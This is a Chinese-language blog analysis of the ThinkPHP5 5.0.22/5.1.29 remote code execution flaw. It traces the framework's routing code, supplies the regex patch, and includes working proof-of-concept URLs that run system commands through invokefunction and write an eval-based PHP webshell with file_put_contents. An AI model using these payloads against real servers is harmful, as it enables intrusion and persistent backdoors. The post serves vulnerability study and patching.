首页 > 编程语言 >ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

时间:2024-08-31 21:14:06浏览次数:14  
标签:5.0 5.1 vars self dispatch reflect controller 代码执行 config

漏洞原理

该漏洞存在两种利用方式

  • 控制器名未过滤导致rce

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

  • 核心类 Request 远程代码执行

filter[]为回调函数,get[]或route[]或server[REQUEST_METHOD]为回调函数的参数。执行回调函数的函数为`call_user_func()

核心版需要开启debug模式

代码审计

首先要理解thinkphp是怎么处理路由的

thinkphp/library/think/App.php#run()函数就是用于处理请求和生成响应

代码第116行,这里调用的routeCheck()函数就是路由处理函数

            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

routeCheck()

    public static function routeCheck($request, array $config)
    {
        $path   = $request->path();	//获取路径
        $depr   = $config['pathinfo_depr'];	//获取配置文件
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

这个函数就是用配置的路由规则去检测我们请求的路由,如果符合就会返回路由的相关信息,如果不符合还会调用解析url检测的方法parseUrl()

跟进这个方法,发现这个方法通过斜杠/来划分模块/控制器/操作,结果为数组形式,然后将它们封装为$route,最终返回['type' => 'module', 'module' => $route]`数组,作为App.php中$dispatch的值,并传入exec()函数中

追踪exec()函数,传入了$dispatch,$config两个参数,其中$dispatch为['type' => 'module', 'module' => $route]`

继续跟进exec()函数

    protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
            case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;
            case 'function': // 闭包
                $data = self::invokeFunction($dispatch['function']);
                break;
            case 'response': // Response 实例
                $data = $dispatch['response'];
                break;
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

这里由于parseUrl()返回的是module,所以我们只看$dispatch['type']='module'这种情况

            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;

这里又调了module()方法

这个方法就对传入的控制器以及操作进行了一定的检验然后用invokeMethod()来调用

return self::invokeMethod($call, $vars);

invokeMethod()

    /**
     * 调用反射执行类的方法 支持参数绑定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   变量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

通过反射来调用控制器中的方法

漏洞分析

纵观整个代码,它对url的校验是欠缺的,而且url是用户完全可控的,并且还可以调用控制器的方法,我们很有可能通过url来调用敏感方法,进而执行命令。

thinkphp/library/think/App.php

    /**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\Closure $function 函数或者闭包
     * @param array                 $vars     变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

当前文件下的invokeFunction()就是一个可以执行敏感操作的方法,它可以通过调用ReflectionFunction反射调用程序中的函数

接下来考虑要怎么通过

模块/控制器/操作/的方法调用这个方法

模块:默认index即可,因为大多数网站都有这个模块,而且每个模块都会加载app.php文件

控制器:该文件的命名空间为 think,类名为 app,我们的控制器便可以构造成 \think/app

操作:invokeFunction

poc

http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[1]);?>

漏洞修复

protected static function exec($dispatch, $config)	//line:445-483
    {
        switch ($dispatch['type']) {
						……
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }

        return $data;
    }

public static function module($result, $config, $convert = null)		//line:494-608
    {
        ……

        if ($config['app_multi_module']) {
            // 多模块部署
          	// 获取模块名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
						……
        }
				……

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      	……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);
    }

在33、34行中间插入以下代码即可修复

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

这里就是加了一个正则匹配,匹配的对象就是$controller,我们传入的$controller=think\app

是过不了这个正则匹配的,会进入if循环直接报错。

一个有意思的问题

别人的文章都是调用的是call_user_funcarray()函数,我就在想直接调用system函数可以不可以。因为光从代码层面来看,invokeFunction()应该是可以调用任意函数的。

于是我构造了以下payload

http://192.168.184.133:8080/index.php?s=index/think\app/invokefunction&function=system&vars[0]=whoami

不过很遗憾,页面报错了

经过几次调试后终于发现为什么了,问题出在调用函数的参数上

invokeFunction()

    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

bindParams()

    private static function bindParams($reflect, $vars = [])
    {
        // 自动获取请求变量
        if (empty($vars)) {
            $vars = Config::get('url_param_type') ?
            Request::instance()->route() :
            Request::instance()->param();
        }

        $args = [];
        if ($reflect->getNumberOfParameters() > 0) {
            // 判断数组类型 数字数组时按顺序绑定参数
            reset($vars);
            $type = key($vars) === 0 ? 1 : 0;

            foreach ($reflect->getParameters() as $param) {
                $args[] = self::getParamValue($param, $vars, $type);
            }
        }

        return $args;
    }

在这个foreach循环中,它的循环次数是由$reflect->getParameters()决定的,也就是说你调用的函数有几个参数他就会循环几次。

因为system()函数是有两个参数的,所以这里会循环两次

我们再进入getParamValue()看看

    private static function getParamValue($param, &$vars, $type)
    {
        $name  = $param->getName();
        $class = $param->getClass();

        if ($class) {
            $className = $class->getName();
            $bind      = Request::instance()->$name;

            if ($bind instanceof $className) {
                $result = $bind;
            } else {
                if (method_exists($className, 'invoke')) {
                    $method = new \ReflectionMethod($className, 'invoke');

                    if ($method->isPublic() && $method->isStatic()) {
                        return $className::invoke(Request::instance());
                    }
                }

                $result = method_exists($className, 'instance') ?
                $className::instance() :
                new $className;
            }
        } elseif (1 == $type && !empty($vars)) {
            $result = array_shift($vars);
        } elseif (0 == $type && isset($vars[$name])) {
            $result = $vars[$name];
        } elseif ($param->isDefaultValueAvailable()) {
            $result = $param->getDefaultValue();
        } else {
            throw new \InvalidArgumentException('method param miss:' . $name);
        }

        return $result;
    }

第一次循环我们的参数是"whoami",会进入第一个elseif,正常执行。

但是第二次循环,已经没有参数了,就会进入else里面,这里就抛出了异常。

那么我给system传两个参数不就可以了吗?讲道理是这样的,但是system的第二个参数是一个变量,我们通过url传入的参数统统会解析成字符串,到后面执行命令的时候也会报错

"Parameter 2 to system()expected to be a reference, value given"

这就是为什么system不行,那么理论上只要选一个参数为字符串类型的命令执行函数,并且传入所有参数就可以命令执行

这里测试我选的是shell_exec()函数,它只接收一个参数,并且参数为字符串类型

然后就成功le

标签:5.0,5.1,vars,self,dispatch,reflect,controller,代码执行,config
From: https://www.cnblogs.com/Litsasuk/p/18390779

相关文章

  • 代码执行命令
    代码执行漏洞原理:用户输入的数据被当做后端代码进行执行//其实一句话木马的本质就是一个代码执行漏洞用户输入的数据被当做代码进行执行。在PHP存在诸多函数可以做到代码执行[注:为了方便此处我把要执行的代码简写为$a]1、eval($a);//eval是代码执行用的最多的,他可以多行执......
  • 第七章 项目布局实现(7.5.1)——页面缓存
    7.5右侧主区域实现7.5.1页面缓存defineOptions定义组件name属性值参考:https://cn.vuejs.org/api/sfc-script-setup.html#defineoptions对于[email protected]及以上版本,在使用<scriptsetup>的单文件组件时,vue会根据文件名,自动推导出name属性值。比如:名称为Layo......
  • .Net 5.0 WebAPI 发布至 CentOS 7 系统
    〇、前言本文主要介绍了在CentOS7上部署WebAPI项目的过程。先安装.net5.0的环境,再创建一个示例项目并发布至CentOS上,同时列明了一些注意的点;最后将dotnet命令添加到系统自启动服务。一、Linux环境准备1.1centos7.x在线安装.net5.0第一行命令是添加包源,第二......
  • HarmonyOS开发实战5.0【地址交换动画案例】
    介绍本示例介绍使用显式动画 animateTo 实现左右地址交换动画。该场景多用于机票、火车票购买等出行类订票软件中。效果预览图使用说明加载完成后显示地址交换动画页面,点击中间的图标,左右两边地址交换。实现思路创建左右两边Text组件显示地址。设置初始偏移量以及文......
  • 原神角色数据列表:数据更新到5.0版本,更换品质排序背景颜色,列表可以显示攻略
    <!DOCTYPEhtml><htmllang="zh-CN"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>原神角色数据列表</title>......
  • 24.5.0:HOOPS Publish SDK
    向您的应用程序添加3DPDF导出等功能通过使用HOOPSPublishSDK向您的工程应用程序添加交互式3DPDF、HTML和标准CAD格式导出(包括STEPAP242、JT10、IGES、STL和3MF),增强您的工程应用程序。用于创建丰富工程文档的3DCAD发布SDKHOOPSPublishSDK可帮助开发......
  • gyp GET https://nodejs.org/download/release/v20.15.0/node-v20.15.0-headers.tar.g
    如图我执行yarn关于node会报错:gyphttpGEThttps://nodejs.org/download/release/v20.15.0/node-v20.15.0-headers.tar.gzgyphttpfetchGEThttps://nodejs.org/download/release/v20.15.0/node-v20.15.0-headers.tar.gzattempt1failedwithETIMEDOUTgypWARNins......
  • ubuntu20.04内核重新编译(5.15.x)
    一、源码获取方法1:gitclonegit://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/focal方法2:#apt-cachesearchlinux-sourcelinux-source-LinuxkernelsourcewithUbuntupatcheslinux-source-5.4.0-Linuxkernelsourceforversion5.4.0with......
  • 使用 Tampermonkey5.1.1_0加自定义编写的js脚本实现自动填充表单
    最近有碰到要使用单点登录的需求,最开始是按照固定流程使用OAuth2.0或者jwt等技术通过父子系统交互的方式实现单点登录。缺点:代码繁琐,而且需要子系统配合提供单点登录接口,并且跳转时子系统需要携带其token等参数优点:安全,通过系统交互的方式鉴权访问接口。由于要集成的子系统很多,而......
  • Qt5.14.2 操作PostgreSQL 记录
    在Qt5.14.2中操作PostgreSQL数据库.#include<QSqlDatabase>#include<QSqlQuery>#include<QSqlError>#include<QDebug>//初始化数据库连接QSqlDatabasedb=QSqlDatabase::addDatabase("QPSQL");//qDebug()<<"aaaa"......